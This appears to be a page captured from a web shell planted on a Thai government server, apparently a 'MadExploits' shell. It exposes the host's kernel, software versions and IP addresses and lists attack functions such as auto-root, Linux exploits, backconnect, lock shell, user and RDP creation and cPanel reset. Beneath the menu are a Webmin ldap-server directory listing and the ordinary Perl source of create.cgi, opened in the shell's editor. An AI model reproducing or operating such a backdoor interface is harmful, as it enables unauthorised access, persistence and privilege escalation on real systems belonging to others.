Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
ldap-server /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
849
B
-rw-r--r--
acl_form.cgi
3.76
KB
-rwxr-xr-x
acl_save.cgi
2.9
KB
-rwxr-xr-x
acl_security.pl
558
B
-rwxr-xr-x
add.cgi
1.24
KB
-rwxr-xr-x
add_browser.cgi
1.01
KB
-rwxr-xr-x
add_form.cgi
1.98
KB
-rwxr-xr-x
apply.cgi
256
B
-rwxr-xr-x
backup_config.pl
787
B
-rwxr-xr-x
bootup.cgi
640
B
-rwxr-xr-x
cgi_args.pl
349
B
-rwxr-xr-x
config
116
B
-rw-r--r--
config-ALL-linux
230
B
-rw-r--r--
config-Amazon-Linux-2-ALL
255
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
255
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
261
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
255
B
-rw-r--r--
config-Scientific-Linux-6.0-6....
258
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
255
B
-rw-r--r--
config-Ubuntu-Linux-8.10-ALL
235
B
-rw-r--r--
config-debian-linux-6.0-ALL
231
B
-rw-r--r--
config-debian-linux-ALL-5.9
234
B
-rw-r--r--
config-freebsd
289
B
-rw-r--r--
config-freebsd-8-ALL
318
B
-rw-r--r--
config-mandrake-linux
250
B
-rw-r--r--
config-pardus-linux
170
B
-rw-r--r--
config-redhat-linux
261
B
-rw-r--r--
config-redhat-linux-24.0-ALL
280
B
-rw-r--r--
config-solaris
214
B
-rw-r--r--
config-suse-linux
253
B
-rw-r--r--
config-syno-linux
230
B
-rw-r--r--
config-turbo-linux
250
B
-rw-r--r--
config.info
989
B
-rw-r--r--
config.info.ca
1.08
KB
-rw-r--r--
config.info.ca.UTF-8
1.09
KB
-rw-r--r--
config.info.de
1.17
KB
-rw-r--r--
config.info.de.UTF-8
1.17
KB
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.nl
1.02
KB
-rw-r--r--
config.info.nl.UTF-8
1.02
KB
-rw-r--r--
config.info.no
1.06
KB
-rw-r--r--
config.info.no.UTF-8
1.06
KB
-rw-r--r--
config.info.pt_BR
1.15
KB
-rw-r--r--
config.info.pt_BR.UTF-8
1.15
KB
-rw-r--r--
config.info.ru_RU
0
B
-rw-r--r--
create.cgi
2.68
KB
-rwxr-xr-x
defaultacl
65
B
-rw-r--r--
delete_acls.cgi
964
B
-rwxr-xr-x
delete_browser.cgi
1.01
KB
-rwxr-xr-x
down_acl.cgi
1.26
KB
-rwxr-xr-x
down_schema.cgi
649
B
-rwxr-xr-x
edit_acl.cgi
1.75
KB
-rwxr-xr-x
edit_browser.cgi
7.61
KB
-rwxr-xr-x
edit_create.cgi
1.05
KB
-rwxr-xr-x
edit_ldif.cgi
3.25
KB
-rwxr-xr-x
edit_schema.cgi
2.13
KB
-rwxr-xr-x
edit_sfile.cgi
932
B
-rwxr-xr-x
edit_slapd.cgi
3.77
KB
-rwxr-xr-x
gencert.cgi
1.23
KB
-rwxr-xr-x
gencert_form.cgi
1.25
KB
-rwxr-xr-x
gencert_ldif.cgi
1.24
KB
-rwxr-xr-x
index.cgi
3.51
KB
-rwxr-xr-x
install_check.pl
469
B
-rwxr-xr-x
ldap-server-lib.pl
24.01
KB
-rwxr-xr-x
log_parser.pl
1.71
KB
-rwxr-xr-x
module.info
180
B
-rw-r--r--
module.info.ca
105
B
-rw-r--r--
module.info.ca.UTF-8
117
B
-rw-r--r--
module.info.de
95
B
-rw-r--r--
module.info.de.UTF-8
107
B
-rw-r--r--
module.info.ms_MY
102
B
-rw-r--r--
module.info.ms_MY.UTF-8
114
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.UTF-8
26
B
-rw-r--r--
module.info.no
20
B
-rw-r--r--
module.info.no.UTF-8
26
B
-rw-r--r--
module.info.pt_BR
25
B
-rw-r--r--
module.info.pt_BR.UTF-8
31
B
-rw-r--r--
module.info.ru_RU
23
B
-rw-r--r--
module.info.ru_RU.UTF-8
35
B
-rw-r--r--
perms.cgi
432
B
-rwxr-xr-x
rename_browser.cgi
1.04
KB
-rwxr-xr-x
save_browser.cgi
1.04
KB
-rwxr-xr-x
save_ldif.cgi
2.43
KB
-rwxr-xr-x
save_schema.cgi
727
B
-rwxr-xr-x
save_sfile.cgi
607
B
-rwxr-xr-x
save_slapd.cgi
2.78
KB
-rwxr-xr-x
sdelete_browser.cgi
936
B
-rwxr-xr-x
server.key
0
B
-rw-r--r--
start.cgi
251
B
-rwxr-xr-x
stop.cgi
246
B
-rwxr-xr-x
up_acl.cgi
1.26
KB
-rwxr-xr-x
up_schema.cgi
649
B
-rwxr-xr-x
view_sfile.cgi
374
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create.cgi
#!/usr/bin/perl # Actually create a new base DN require './ldap-server-lib.pl'; &ReadParse(); &error_setup($text{'create_err'}); $access{'create'} || &error($text{'create_ecannot'}); $ldap = &connect_ldap_db(); ref($ldap) || &error($ldap); # Validate inputs if ($in{'mode'} == 0) { $in{'domain'} =~ /^[a-z0-9\.\-]+$/ || &error($text{'create_edom'}); @p = split(/\./, $in{'domain'}); $dn = join(", ", map { "dc=$_" } @p); } else { $in{'dn'} =~ /^\S+=\S+/ || &error($text{'create_edn'}); $dn = $in{'dn'}; } # Work out class for the DN $schema = $ldap->schema(); @allocs = map { $_->{'name'} } grep { $_->{'structural'} } $schema->all_objectclasses(); @ocs = ( ); foreach my $poc ("top", "domain") { if (&indexof($poc, @allocs) >= 0) { push(@ocs, $poc); } } @ocs || &error(&text('create_eoc')); # Do it, while showing the user &ui_print_unbuffered_header(undef, $text{'create_title'}, ""); # Create the DN print &text('create_doingdn', "<tt>".&html_escape($dn)."</tt>"),"<br>\n"; @attrs = ( "objectClass", \@ocs ); if (&indexof("domain", @ocs) >= 0) { # Domain class needs dc if ($dn =~ /^([^=]+)=([^, ]+)/) { push(@attrs, $1, $2); } } $rv = $ldap->add($dn, attr => \@attrs); if (!$rv || $rv->code) { print &text('create_edoingdn', &ldap_error($rv)),"<p>\n"; } else { print $text{'create_done'},"<p>\n"; $ok = 1; } if ($ok && $in{'example'}) { # Add the example user/alias if ($in{'example'} == 1 || $in{'example'} == 2) { # User $edn = "uid=example, ".$dn; @attrs = ( "cn", "Example user", "sn", "Example user", "uid", "example", "uidNumber", 9999, "gidNumber", 9999, "loginShell", "/bin/sh", "homeDirectory", "/home/example", "objectClass", [ "posixAccount", "person" ], "userPassword", "*LK*" ); if ($in{'example'} == 2) { # With mail push(@attrs, "mail", "example\@example.com"); } } elsif ($in{'example'} == 3) { # Virtuser # XXX not sure about these .. is there any standard? $edn = "cn=example\@example.com, ".$dn; @attrs = ( "mail", "example\@example.com", "mailForwardingAddress", "example\@somewhere.com", "objectClass", [ "top" ] ); } elsif ($in{'example'} == 4) { # Unix group $edn = "cn=example, ".$dn; @attrs = ( "cn", "example", "gidNumber", 9999, "memberUid", "example", "objectClass", [ "posixGroup" ] ); } print &text('create_doingex', "<tt>".&html_escape($edn)."</tt>"),"<br>\n"; $rv = $ldap->add($edn, attr => \@attrs); if (!$rv || $rv->code) { print &text('create_edoingex', &ldap_error($rv)),"<p>\n"; } else { print $text{'create_done'},"<p>\n"; } } if ($ok) { &webmin_log("create", undef, $dn); } &ui_print_footer("", $text{'index_return'});
Close